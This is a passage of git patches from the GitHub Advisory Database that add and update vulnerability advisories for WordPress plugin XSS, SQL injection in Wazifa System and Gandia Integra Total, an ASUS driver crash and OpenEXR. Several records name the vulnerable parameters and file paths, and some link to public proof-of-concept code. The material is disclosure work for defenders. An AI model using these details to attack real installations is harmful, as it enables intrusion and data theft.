diff --git a/advisories/unreviewed/2025/08/GHSA-97wf-g3cv-jw4p/GHSA-97wf-g3cv-jw4p.json b/advisories/unreviewed/2025/08/GHSA-97wf-g3cv-jw4p/GHSA-97wf-g3cv-jw4p.json
new file mode 100644
index 0000000000000..59107ca311697
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-97wf-g3cv-jw4p/GHSA-97wf-g3cv-jw4p.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-97wf-g3cv-jw4p",
+ "modified": "2025-08-01T09:31:23Z",
+ "published": "2025-08-01T09:31:23Z",
+ "aliases": [
+ "CVE-2025-7646"
+ ],
+ "details": "The The Plus Addons for Elementor – Elementor Addons, Page Templates, Widgets, Mega Menu, WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the custom script parameter in all versions up to, and including, 6.3.10 even when the user does not have the unfiltered_html capability. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7646"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/the-plus-addons-for-elementor-page-builder/tags/6.3.11/modules/widgets/tp_hovercard.php"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/58fcab5e-c82e-4072-9a86-94a7f18a6e56?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T07:15:32Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-jvg3-4gv7-rjpq/GHSA-jvg3-4gv7-rjpq.json b/advisories/unreviewed/2025/08/GHSA-jvg3-4gv7-rjpq/GHSA-jvg3-4gv7-rjpq.json
new file mode 100644
index 0000000000000..7d4cc0cc76905
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-jvg3-4gv7-rjpq/GHSA-jvg3-4gv7-rjpq.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-jvg3-4gv7-rjpq",
+ "modified": "2025-08-01T09:31:24Z",
+ "published": "2025-08-01T09:31:24Z",
+ "aliases": [
+ "CVE-2025-8438"
+ ],
+ "details": "A vulnerability classified as critical was found in code-projects Wazifa System 1.0. This vulnerability affects unknown code of the file /controllers/postpublish.php. The manipulation of the argument post leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8438"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/wllovemy/cve/issues/15"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318466"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318466"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.625556"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T07:15:34Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-rjr8-pf73-3289/GHSA-rjr8-pf73-3289.json b/advisories/unreviewed/2025/08/GHSA-rjr8-pf73-3289/GHSA-rjr8-pf73-3289.json
new file mode 100644
index 0000000000000..5c3f507e487c2
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-rjr8-pf73-3289/GHSA-rjr8-pf73-3289.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-rjr8-pf73-3289",
+ "modified": "2025-08-01T09:31:23Z",
+ "published": "2025-08-01T09:31:23Z",
+ "aliases": [
+ "CVE-2025-8439"
+ ],
+ "details": "A vulnerability, which was classified as critical, has been found in code-projects Wazifa System 1.0. This issue affects some unknown processing of the file /controllers/updatesettings.php. The manipulation of the argument Password leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8439"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/wllovemy/cve/issues/14"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318467"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318467"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.625557"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T07:15:34Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-xxw5-6rch-9wmx/GHSA-xxw5-6rch-9wmx.json b/advisories/unreviewed/2025/08/GHSA-xxw5-6rch-9wmx/GHSA-xxw5-6rch-9wmx.json
new file mode 100644
index 0000000000000..db19fe5d2e3df
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-xxw5-6rch-9wmx/GHSA-xxw5-6rch-9wmx.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-xxw5-6rch-9wmx",
+ "modified": "2025-08-01T09:31:24Z",
+ "published": "2025-08-01T09:31:23Z",
+ "aliases": [
+ "CVE-2025-6398"
+ ],
+ "details": "A null pointer dereference vulnerability exists in the IOMap64.sys driver of ASUS AI Suite 3. The vulnerability can be triggered by a specially crafted input, which may lead to a system crash (BSOD). Refer to the '\n\nSecurity Update for for AI Suite 3\n\n' section on the ASUS Security Advisory for more information.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6398"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.asus.com/content/security-advisory"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-476"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T09:15:33Z"
+ }
+}
\ No newline at end of file
From 54718af4558c7d7a40d66c51cc2294b549c7a4ec Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 12:34:22 +0000
Subject: [PATCH 291/323] Publish Advisories
GHSA-f784-rmxc-rc67
GHSA-r297-m3w3-56rc
---
.../GHSA-f784-rmxc-rc67.json | 48 +++++++++++++++++++
.../GHSA-r297-m3w3-56rc.json | 40 ++++++++++++++++
2 files changed, 88 insertions(+)
create mode 100644 advisories/unreviewed/2025/08/GHSA-f784-rmxc-rc67/GHSA-f784-rmxc-rc67.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-r297-m3w3-56rc/GHSA-r297-m3w3-56rc.json
diff --git a/advisories/unreviewed/2025/08/GHSA-f784-rmxc-rc67/GHSA-f784-rmxc-rc67.json b/advisories/unreviewed/2025/08/GHSA-f784-rmxc-rc67/GHSA-f784-rmxc-rc67.json
new file mode 100644
index 0000000000000..1d1e51a43eacd
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-f784-rmxc-rc67/GHSA-f784-rmxc-rc67.json
@@ -0,0 +1,48 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-f784-rmxc-rc67",
+ "modified": "2025-08-01T12:32:28Z",
+ "published": "2025-08-01T12:32:28Z",
+ "aliases": [
+ "CVE-2025-6228"
+ ],
+ "details": "The Sina Extension for Elementor (Header Builder, Footer Builter, Theme Builder, Slider, Gallery, Form, Modal, Data Table Free Elementor Widgets & Elementor Templates) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `Sina Posts`, `Sina Blog Post` and `Sina Table` widgets in all versions up to, and including, 3.7.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6228"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/sina-extension-for-elementor/tags/3.7.0/widgets/advanced/sina-blogpost.php#L2066"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/sina-extension-for-elementor/tags/3.7.0/widgets/basic/sina-table.php#L1659"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/sina-extension-for-elementor/tags/3.7.0/widgets/theme_builder/sina-posts.php#L1879"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fd929710-bdb4-42e1-b409-df41adc22392?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T12:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-r297-m3w3-56rc/GHSA-r297-m3w3-56rc.json b/advisories/unreviewed/2025/08/GHSA-r297-m3w3-56rc/GHSA-r297-m3w3-56rc.json
new file mode 100644
index 0000000000000..88e25d7590b0c
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-r297-m3w3-56rc/GHSA-r297-m3w3-56rc.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-r297-m3w3-56rc",
+ "modified": "2025-08-01T12:32:28Z",
+ "published": "2025-08-01T12:32:28Z",
+ "aliases": [
+ "CVE-2025-4684"
+ ],
+ "details": "The BlockSpare: Gutenberg Blocks & Patterns for Blogs, Magazines, Business Sites – Post Grids, Sliders, Carousels, Counters, Page Builder & Starter Site Imports, No Coding Needed plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the HTML attributes of Image Carousel and Image Slider widgets in all versions up to, and including, 3.2.13.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4684"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/blockspare/trunk/dist/blocks.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0f4f8b84-3f65-430b-b749-6afae8d53153?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T12:15:25Z"
+ }
+}
\ No newline at end of file
From fdf129eea4251dcd68daca3b8b16b89ac7216bbf Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 13:30:51 +0000
Subject: [PATCH 292/323] Publish Advisories
GHSA-4r7w-q3jg-ff43
GHSA-h45x-qhg2-q375
GHSA-qhpm-86v7-phmm
---
.../GHSA-4r7w-q3jg-ff43/GHSA-4r7w-q3jg-ff43.json | 16 ++++++++++++++--
.../GHSA-h45x-qhg2-q375/GHSA-h45x-qhg2-q375.json | 16 ++++++++++++++--
.../GHSA-qhpm-86v7-phmm/GHSA-qhpm-86v7-phmm.json | 8 ++++++--
3 files changed, 34 insertions(+), 6 deletions(-)
diff --git a/advisories/github-reviewed/2025/07/GHSA-4r7w-q3jg-ff43/GHSA-4r7w-q3jg-ff43.json b/advisories/github-reviewed/2025/07/GHSA-4r7w-q3jg-ff43/GHSA-4r7w-q3jg-ff43.json
index 4f093d3c5fd1b..c734aceac707a 100644
--- a/advisories/github-reviewed/2025/07/GHSA-4r7w-q3jg-ff43/GHSA-4r7w-q3jg-ff43.json
+++ b/advisories/github-reviewed/2025/07/GHSA-4r7w-q3jg-ff43/GHSA-4r7w-q3jg-ff43.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-4r7w-q3jg-ff43",
- "modified": "2025-07-31T19:20:05Z",
+ "modified": "2025-08-01T13:29:02Z",
"published": "2025-07-31T19:20:05Z",
"aliases": [
"CVE-2025-48072"
@@ -43,10 +43,22 @@
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-4r7w-q3jg-ff43"
},
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48072"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/AcademySoftwareFoundation/openexr/commit/2d09449427b13a05f7c31a98ab2c4347c23db361"
+ },
{
"type": "PACKAGE",
"url": "https://github.com/AcademySoftwareFoundation/openexr"
},
+ {
+ "type": "WEB",
+ "url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.3"
+ },
{
"type": "WEB",
"url": "https://github.com/ShielderSec/poc/tree/main/CVE-2025-48072"
@@ -59,6 +71,6 @@
"severity": "MODERATE",
"github_reviewed": true,
"github_reviewed_at": "2025-07-31T19:20:05Z",
- "nvd_published_at": null
+ "nvd_published_at": "2025-07-31T21:15:28Z"
}
}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2025/07/GHSA-h45x-qhg2-q375/GHSA-h45x-qhg2-q375.json b/advisories/github-reviewed/2025/07/GHSA-h45x-qhg2-q375/GHSA-h45x-qhg2-q375.json
index a4ffd6052cc66..fb7bb25bca73b 100644
--- a/advisories/github-reviewed/2025/07/GHSA-h45x-qhg2-q375/GHSA-h45x-qhg2-q375.json
+++ b/advisories/github-reviewed/2025/07/GHSA-h45x-qhg2-q375/GHSA-h45x-qhg2-q375.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-h45x-qhg2-q375",
- "modified": "2025-07-31T19:12:57Z",
+ "modified": "2025-08-01T13:28:56Z",
"published": "2025-07-31T19:12:56Z",
"aliases": [
"CVE-2025-48071"
@@ -40,10 +40,22 @@
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-h45x-qhg2-q375"
},
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48071"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/AcademySoftwareFoundation/openexr/commit/916cc729e24aa16b86d82813f6e136340ab2876f"
+ },
{
"type": "PACKAGE",
"url": "https://github.com/AcademySoftwareFoundation/openexr"
},
+ {
+ "type": "WEB",
+ "url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.3"
+ },
{
"type": "WEB",
"url": "https://github.com/ShielderSec/poc/tree/main/CVE-2025-48071"
@@ -56,6 +68,6 @@
"severity": "HIGH",
"github_reviewed": true,
"github_reviewed_at": "2025-07-31T19:12:56Z",
- "nvd_published_at": null
+ "nvd_published_at": "2025-07-31T21:15:27Z"
}
}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2025/07/GHSA-qhpm-86v7-phmm/GHSA-qhpm-86v7-phmm.json b/advisories/github-reviewed/2025/07/GHSA-qhpm-86v7-phmm/GHSA-qhpm-86v7-phmm.json
index c922f6be31b73..9fc965dda05b3 100644
--- a/advisories/github-reviewed/2025/07/GHSA-qhpm-86v7-phmm/GHSA-qhpm-86v7-phmm.json
+++ b/advisories/github-reviewed/2025/07/GHSA-qhpm-86v7-phmm/GHSA-qhpm-86v7-phmm.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-qhpm-86v7-phmm",
- "modified": "2025-07-31T19:21:35Z",
+ "modified": "2025-08-01T13:29:06Z",
"published": "2025-07-31T19:21:35Z",
"aliases": [
"CVE-2025-48073"
@@ -43,6 +43,10 @@
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-qhpm-86v7-phmm"
},
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48073"
+ },
{
"type": "PACKAGE",
"url": "https://github.com/AcademySoftwareFoundation/openexr"
@@ -59,6 +63,6 @@
"severity": "MODERATE",
"github_reviewed": true,
"github_reviewed_at": "2025-07-31T19:21:35Z",
- "nvd_published_at": null
+ "nvd_published_at": "2025-07-31T21:15:28Z"
}
}
\ No newline at end of file
From 66eb36d0e5bdd492fbe8326c06bd2b140bc2a4e3 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 15:36:17 +0000
Subject: [PATCH 293/323] Publish Advisories
GHSA-5556-32h3-7q94
GHSA-69cc-7xhp-ffhj
GHSA-77fc-r534-vggp
GHSA-7g68-w67q-848v
GHSA-g37j-43j6-2q28
GHSA-ggwp-w3gm-3cmw
GHSA-m523-xm42-q7ff
GHSA-mvqq-3c4v-862v
GHSA-mw9f-f52p-chpp
GHSA-p3vv-cw8r-h94c
GHSA-r246-8324-246f
GHSA-v6qp-r53v-fvh5
GHSA-xcwr-x5fm-7jmr
---
.../GHSA-5556-32h3-7q94.json | 9 ++++-
.../GHSA-69cc-7xhp-ffhj.json | 36 +++++++++++++++++
.../GHSA-77fc-r534-vggp.json | 11 +++--
.../GHSA-7g68-w67q-848v.json | 36 +++++++++++++++++
.../GHSA-g37j-43j6-2q28.json | 36 +++++++++++++++++
.../GHSA-ggwp-w3gm-3cmw.json | 36 +++++++++++++++++
.../GHSA-m523-xm42-q7ff.json | 37 +++++++++++++++++
.../GHSA-mvqq-3c4v-862v.json | 36 +++++++++++++++++
.../GHSA-mw9f-f52p-chpp.json | 15 +++++--
.../GHSA-p3vv-cw8r-h94c.json | 36 +++++++++++++++++
.../GHSA-r246-8324-246f.json | 36 +++++++++++++++++
.../GHSA-v6qp-r53v-fvh5.json | 33 +++++++++++++++
.../GHSA-xcwr-x5fm-7jmr.json | 40 +++++++++++++++++++
13 files changed, 388 insertions(+), 9 deletions(-)
create mode 100644 advisories/unreviewed/2025/08/GHSA-69cc-7xhp-ffhj/GHSA-69cc-7xhp-ffhj.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-7g68-w67q-848v/GHSA-7g68-w67q-848v.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-g37j-43j6-2q28/GHSA-g37j-43j6-2q28.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-ggwp-w3gm-3cmw/GHSA-ggwp-w3gm-3cmw.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-m523-xm42-q7ff/GHSA-m523-xm42-q7ff.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-mvqq-3c4v-862v/GHSA-mvqq-3c4v-862v.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-p3vv-cw8r-h94c/GHSA-p3vv-cw8r-h94c.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-r246-8324-246f/GHSA-r246-8324-246f.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-v6qp-r53v-fvh5/GHSA-v6qp-r53v-fvh5.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-xcwr-x5fm-7jmr/GHSA-xcwr-x5fm-7jmr.json
diff --git a/advisories/unreviewed/2025/05/GHSA-5556-32h3-7q94/GHSA-5556-32h3-7q94.json b/advisories/unreviewed/2025/05/GHSA-5556-32h3-7q94/GHSA-5556-32h3-7q94.json
index 25aac2b40b28a..9145160dcaa7e 100644
--- a/advisories/unreviewed/2025/05/GHSA-5556-32h3-7q94/GHSA-5556-32h3-7q94.json
+++ b/advisories/unreviewed/2025/05/GHSA-5556-32h3-7q94/GHSA-5556-32h3-7q94.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-5556-32h3-7q94",
- "modified": "2025-05-23T15:31:11Z",
+ "modified": "2025-08-01T15:34:15Z",
"published": "2025-05-23T15:31:11Z",
"aliases": [
"CVE-2025-41377"
@@ -19,6 +19,10 @@
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41377"
},
+ {
+ "type": "WEB",
+ "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-gandia-integra-total-tesi"
+ },
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-intellian-technologies-iridium-certus"
@@ -26,7 +30,8 @@
],
"database_specific": {
"cwe_ids": [
- "CWE-20"
+ "CWE-20",
+ "CWE-89"
],
"severity": "CRITICAL",
"github_reviewed": false,
diff --git a/advisories/unreviewed/2025/08/GHSA-69cc-7xhp-ffhj/GHSA-69cc-7xhp-ffhj.json b/advisories/unreviewed/2025/08/GHSA-69cc-7xhp-ffhj/GHSA-69cc-7xhp-ffhj.json
new file mode 100644
index 0000000000000..32ecd3f90daf7
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-69cc-7xhp-ffhj/GHSA-69cc-7xhp-ffhj.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-69cc-7xhp-ffhj",
+ "modified": "2025-08-01T15:34:17Z",
+ "published": "2025-08-01T15:34:17Z",
+ "aliases": [
+ "CVE-2025-41371"
+ ],
+ "details": "A SQL injection vulnerability has been found in Gandia Integra Total of TESI from version 2.1.2217.3 to v4.4.2236.1. The vulnerability allows an authenticated attacker to retrieve, create, update and delete databases through the 'idestudio' parameter in /encuestas/integraweb_v4/integra/html/view/acceso.php",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41371"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-gandia-integra-total-tesi"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-89"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T13:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-77fc-r534-vggp/GHSA-77fc-r534-vggp.json b/advisories/unreviewed/2025/08/GHSA-77fc-r534-vggp/GHSA-77fc-r534-vggp.json
index a0856b8c41428..9fc86e454bd16 100644
--- a/advisories/unreviewed/2025/08/GHSA-77fc-r534-vggp/GHSA-77fc-r534-vggp.json
+++ b/advisories/unreviewed/2025/08/GHSA-77fc-r534-vggp/GHSA-77fc-r534-vggp.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-77fc-r534-vggp",
- "modified": "2025-08-01T06:31:37Z",
+ "modified": "2025-08-01T15:34:17Z",
"published": "2025-08-01T06:31:37Z",
"aliases": [
"CVE-2025-5921"
],
"details": "The SureForms WordPress plugin before 1.7.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against both authenticated and unauthenticated users.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L"
+ }
+ ],
"affected": [],
"references": [
{
@@ -21,7 +26,7 @@
],
"database_specific": {
"cwe_ids": [],
- "severity": null,
+ "severity": "MODERATE",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-01T06:15:29Z"
diff --git a/advisories/unreviewed/2025/08/GHSA-7g68-w67q-848v/GHSA-7g68-w67q-848v.json b/advisories/unreviewed/2025/08/GHSA-7g68-w67q-848v/GHSA-7g68-w67q-848v.json
new file mode 100644
index 0000000000000..04d963c59c4a0
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-7g68-w67q-848v/GHSA-7g68-w67q-848v.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-7g68-w67q-848v",
+ "modified": "2025-08-01T15:34:18Z",
+ "published": "2025-08-01T15:34:18Z",
+ "aliases": [
+ "CVE-2025-41375"
+ ],
+ "details": "A SQL injection vulnerability has been found in Gandia Integra Total of TESI from version 2.1.2217.3 to v4.4.2236.1. The vulnerability allows an authenticated attacker to retrieve, create, update and delete databases through the 'idestudio' parameter in /encuestas/integraweb[_v4]/integra/html/view/consultaincimails.php.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41375"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-gandia-integra-total-tesi"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-89"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T13:15:27Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-g37j-43j6-2q28/GHSA-g37j-43j6-2q28.json b/advisories/unreviewed/2025/08/GHSA-g37j-43j6-2q28/GHSA-g37j-43j6-2q28.json
new file mode 100644
index 0000000000000..f2a21e759a5d5
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-g37j-43j6-2q28/GHSA-g37j-43j6-2q28.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-g37j-43j6-2q28",
+ "modified": "2025-08-01T15:34:18Z",
+ "published": "2025-08-01T15:34:18Z",
+ "aliases": [
+ "CVE-2025-41376"
+ ],
+ "details": "A SQL injection vulnerability has been found in Gandia Integra Total of TESI from version 2.1.2217.3 to v4.4.2236.1. The vulnerability allows an authenticated attacker to retrieve, create, update and delete databases through the 'idestudio' parameter in /encuestas/integraweb[_v4]/integra/html/view/consultacuotasred.php.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
